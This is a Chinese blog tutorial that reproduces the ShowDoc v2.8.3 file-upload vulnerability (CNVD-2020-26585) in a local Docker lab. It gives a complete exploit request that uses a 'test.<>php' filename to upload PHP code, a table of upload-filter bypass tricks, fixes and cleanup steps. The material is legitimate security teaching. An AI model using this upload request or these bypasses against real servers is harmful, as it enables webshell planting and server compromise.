三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

ShowDoc旧版本文件上传漏洞实战复现(CNVD-2020-26585),手把手教你搭建靶场与利用

ShowDoc旧版本文件上传漏洞实战复现(CNVD-2020-26585),手把手教你搭建靶场与利用

ShowDoc旧版本文件上传漏洞实战复现指南(CNVD-2020-26585)

在网络安全学习过程中,漏洞复现是提升实战能力的重要环节。本文将带你在完全受控的环境中,从零开始搭建存在漏洞的ShowDoc旧版本,逐步复现CNVD-2020-26585文件上传漏洞,最终获取Webshell。整个过程强调安全实践,确保学习过程不会对他人造成影响。

1. 环境准备与靶场搭建

1.1 选择合适的基础环境

为了最大程度降低对真实系统的影响,建议使用隔离环境进行实验。以下是几种常见选择:

  • 虚拟机方案:VMware或VirtualBox中安装纯净的Linux/Windows系统
  • 容器化方案:Docker快速部署(推荐)
  • 本地开发环境:PHPStudy等集成环境

推荐配置

# Docker环境检查 docker --version docker-compose --version

1.2 获取存在漏洞的ShowDoc版本

原始漏洞影响ShowDoc v2.8.3及以下版本。可以通过以下方式获取:

wget https://github.com/star7th/showdoc/archive/refs/tags/v2.8.3.zip unzip v2.8.3.zip

注意:仅用于学习目的,请勿在生产环境使用旧版本

2. 漏洞原理深度解析

2.1 文件上传机制缺陷

ShowDoc旧版本在api_page模块的文件上传功能中,存在三个关键问题:

  1. 文件名过滤不严:未正确处理特殊字符如<>
  2. MIME类型检查缺失:仅依赖客户端提交的Content-Type
  3. 目录权限配置不当:上传目录具有执行权限

2.2 漏洞利用链分析

攻击者可以通过构造特殊的HTTP请求绕过防护:

  1. 修改filename参数包含特殊字符
  2. 保持合法的Content-Type
  3. 上传包含恶意代码的文件

3. 分步漏洞复现过程

3.1 启动漏洞环境

使用Docker快速部署:

docker run -d -p 8080:80 --name showdoc_vuln -v ./showdoc:/var/www/html php:7.2-apache

访问http://localhost:8080完成初始化安装。

3.2 构造恶意请求

使用Burp Suite或cURL发送精心构造的请求:

POST /index.php?s=/home/page/uploadImg HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php" Content-Type: text/plain <?php phpinfo(); ?> ------WebKitFormBoundaryABC123--

3.3 验证漏洞利用

成功上传后,系统会返回文件路径。访问该路径应能看到phpinfo页面:

http://localhost:8080/Public/Uploads/[日期]/test.<>php

4. 安全防护与清理

4.1 漏洞修复方案

官方在后续版本中修复了此漏洞,主要改进包括:

  1. 严格文件名过滤
  2. 服务器端MIME类型验证
  3. 上传目录禁用脚本执行

4.2 实验环境清理

完成学习后,务必彻底清理环境:

docker stop showdoc_vuln docker rm showdoc_vuln rm -rf ./showdoc

5. 深入理解文件上传漏洞

5.1 常见防御绕过技巧

防御措施绕过方法防护建议
扩展名检查大小写变异、特殊字符白名单验证
MIME检查修改Content-Type服务器端检测
内容检查图片马、短标签多重校验

5.2 安全开发实践

对于需要文件上传功能的开发:

  1. 使用最新框架的内置方法
  2. 遵循最小权限原则
  3. 定期进行安全审计
// 安全上传示例代码 $allowed = ['jpg', 'png']; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) { die("Invalid file type"); }

在实验过程中,我发现很多漏洞其实源于开发时的小疏忽。比如这个案例中,只要增加一个简单的文件名净化函数就能避免问题。安全无小事,每个细节都值得认真对待。

← 返回列表